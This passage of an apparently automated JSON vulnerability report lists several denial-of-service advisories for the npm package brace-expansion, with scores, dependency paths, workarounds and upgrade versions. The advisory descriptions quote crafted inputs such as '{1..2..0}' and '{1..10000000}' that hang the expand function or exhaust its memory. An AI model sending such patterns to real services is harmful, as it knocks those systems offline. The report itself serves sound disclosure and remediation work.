avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": 